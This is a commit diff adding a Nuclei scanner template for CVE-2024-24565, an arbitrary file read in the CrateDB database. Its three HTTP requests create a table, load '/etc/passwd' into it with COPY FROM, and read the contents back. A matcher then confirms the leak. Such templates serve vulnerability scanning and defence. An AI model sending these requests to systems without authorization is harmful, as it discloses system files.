Merge pull request #10057 from projectdiscovery/CVE-2024-24565

Create CVE-2024-24565.yaml

http/cves/2024/CVE-2024-24565.yaml

@@ -0,0 +1,58 @@
+id: CVE-2024-24565
+
+info:
+  name: CrateDB Database - Arbitrary File Read
+  author: DhiyaneshDK
+  severity: medium
+  description: |
+    CrateDB is a distributed SQL database that makes it simple to store and analyze massive amounts of data in real-time. There is a COPY FROM function in the CrateDB database that is used to import file data into database tables. This function has a flaw, and authenticated attackers can use the COPY FROM function to import arbitrary file content into database tables, resulting in information leakage.
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 6.5
+    cve-id: CVE-2024-24565
+    cwe-id: CWE-22
+    epss-score: 0.0005
+    epss-percentile: 0.18617
+    cpe: cpe:2.3:a:cratedb:cratedb:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: cratedb
+    product: cratedb
+    fofa-query: title="CrateDB"
+  tags: cve,cve2024,cratedb,lfi,exposure,intrusive
+
+variables:
+  table_name: "{{to_lower(rand_text_alpha(8))}}"
+
+http:
+  - raw:
+      - |
+        POST /_sql?types HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json; charset=UTF-8
+
+        {"stmt":"CREATE TABLE {{table_name}}(info_leak STRING)"}
+
+      - |
+        POST /_sql?types HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json; charset=UTF-8
+
+        {"stmt":"COPY {{table_name}} FROM '/etc/passwd' with (format='csv', header=false)"}
+
+      - |
+        POST /_sql?types HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json; charset=UTF-8
+
+        {"stmt":"SELECT * FROM {{table_name}} limit 100"}
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - regex('root:.*:0:0:', body_3)
+          - "contains_all(header, 'application/json')"
+          - "status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200"
+        condition: and